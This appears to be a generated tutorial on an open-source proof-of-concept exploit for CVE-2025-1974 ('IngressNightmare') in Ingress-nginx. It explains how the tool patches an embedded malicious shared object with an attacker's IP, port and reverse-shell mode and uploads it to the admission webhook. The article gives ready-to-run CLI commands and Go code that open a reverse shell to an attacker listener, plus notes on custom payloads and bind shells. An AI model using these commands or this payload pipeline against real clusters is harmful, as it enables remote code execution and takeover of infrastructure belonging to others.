How to Generate a Reverse Shell Payload with IngressNightmare
IngressNightmare generates reverse shell payloads by embedding a malicious shared object at compile time and performing runtime byte‑level substitutions for attacker‑controlled IP addresses, ports, and execution modes before streaming the payload to the vulnerable Ingress‑nginx admission webhook.
The repository esonhugh/ingressnightmare-cve-2025-1974-exps provides a proof‑of‑concept exploit for CVE‑2025‑1974 that automates the creation and delivery of malicious shared objects. Understanding how to generate reverse shell payloads with IngressNightmare requires examining the payload construction pipeline in nginx-ingress/payload.go and the CLI orchestration defined in main.go.
Payload Architecture and Embedded Resources
IngressNightmare leverages Go’s embed package to include the malicious shared object (danger.so) directly inside the compiled binary. This approach eliminates external file dependencies during deployment and ensures the exploit remains portable.
Compile‑Time Embedding
The shared object is embedded at build time and accessed through nginx-ingress/payload.go. When the binary executes, the embedded SO file resides in memory as a byte slice, ready for modification. This design choice allows the tool to remain a single static binary while still supporting dynamic payload customization.
Runtime Byte Substitution Logic
When you request a reverse shell, the function nginx_ingress.NewReverseShellPayload performs three deterministic transformations on the embedded SO bytes:
- IP Address Injection – The placeholder
127.000.000.001(padded to three‑digit octets) is replaced with the attacker‑specified IP address using identical byte length padding. - Port Injection – The placeholder
13337is overwritten with the target port, left‑padded with zeros to maintain exactly four digits. - Mode Flag Switching – The string
MODE_CHECK_FLAGis swapped forMODE_REVERSE_SH, signaling the injected library to initiate a reverse shell connection rather than performing a simple check.
According to the source code in nginx-ingress/payload.go (lines 10‑15), all replacements use a wrapper around bytes.Replace that strictly verifies the old and new byte slices share the same length. This constraint preserves the ELF binary structure and prevents corruption of the shared object during modification.
Generating Payloads via the CLI
IngressNightmare exposes the payload generation logic through a command‑line interface defined in main.go. The tool constructs the appropriate byte sequence and immediately passes it to the upload routine without writing intermediate files to disk.
Basic Reverse Shell Generation
To generate a reverse shell payload targeting your listener at 10.0.2.15:4444, use the following invocation:
ingress-nightmare \
--mode reverse-shell \
--reverse-shell-ip 10.0.2.15 \
--reverse-shell-port 4444 \
--ingress-webhook-url https://target-webhook:443 \
--upload-url http://target-ingress:80
The --mode reverse-shell flag triggers a call to NewReverseShellPayload, which returns a Payload struct containing the modified SO bytes. The BadUploader function in nginx-ingress/exploit.go then streams these bytes to the vulnerable admission webhook endpoint specified by --ingress-webhook-url.
Programmatic Access
You can also import the package directly in your own Go tools to manipulate payloads before delivery:
import "github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"
// Build payload for 10.0.2.15:4444
payload := nginx_ingress.NewReverseShellPayload(
"10.0.2.15", // attacker IP
"4444", // attacker port
)
// Inspect raw bytes before upload
fmt.Printf("Payload size: %d bytes\n", len(payload))
Custom Shared Object Integration
While IngressNightmare ships with a pre‑compiled danger.so, advanced operators may supply custom shared objects compiled for specific target architectures or alternative shellcode. Pass the --so flag followed by the file path:
ingress-nightmare \
--so /path/to/custom.so \
--mode reverse-shell \
--reverse-shell-ip 192.168.1.100 \
--reverse-shell-port 9001
As implemented in main.go (lines 68‑75), providing the --so parameter causes nginx_ingress.Init to load the external file from disk rather than using the default embedded resource. The same IP, port, and mode substitutions are applied to your custom binary, provided it contains the expected placeholder strings (127.000.000.001, 13337, and MODE_CHECK_FLAG).
Summary
- IngressNightmare embeds
danger.soat compile time using Go’sembeddirective, creating a self‑contained exploit binary. - Payload customization occurs via byte‑level substitution in
nginx-ingress/payload.go, replacing hardcoded placeholders for IP (127.000.000.001), port (13337), and mode (MODE_CHECK_FLAG) while preserving exact byte lengths. - The
NewReverseShellPayloadfunction orchestrates these replacements and returns aPayloadready for delivery. - Delivery is handled by
BadUploaderinnginx-ingress/exploit.go, which transmits the crafted SO to the Ingress‑nginx admission webhook. - Custom shared objects are supported via the
--soCLI flag, loaded throughnginx_ingress.Initinmain.go.
Frequently Asked Questions
What placeholders must exist in a custom shared object for IngressNightmare to work correctly?
Your custom SO must contain three exact byte sequences: 127.000.000.001 for the IP address placeholder, 13337 for the port placeholder, and MODE_CHECK_FLAG for the execution mode flag. IngressNightmare performs literal byte replacements on these strings, requiring them to match the expected lengths exactly (15 bytes, 5 bytes, and 15 bytes respectively).
How does IngressNightmare ensure the shared object remains valid after modifying IP and port values?
The tool uses a wrapper around bytes.Replace that verifies the search and replacement slices are identical in length (as seen in nginx-ingress/payload.go lines 10‑15). This guarantees that the ELF binary structure maintains its original offsets and section headers, preventing corruption during the substitution process.
Can I use IngressNightmare to generate bind shells instead of reverse shells?
Yes. IngressNightmare supports multiple execution modes through the same substitution mechanism. While MODE_REVERSE_SH triggers the reverse shell logic, alternative modes are available by calling different constructor functions or CLI flags that replace MODE_CHECK_FLAG with other mode identifiers defined in the payload source.
Where does the actual network transmission of the payload occur?
The HTTP/HTTPS upload logic resides in nginx-ingress/exploit.go within the BadUploader function. After NewReverseShellPayload generates the byte slice, BadUploader constructs the multipart form data and POSTs the shared object to the vulnerable admission webhook endpoint specified by the --ingress-webhook-url parameter.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →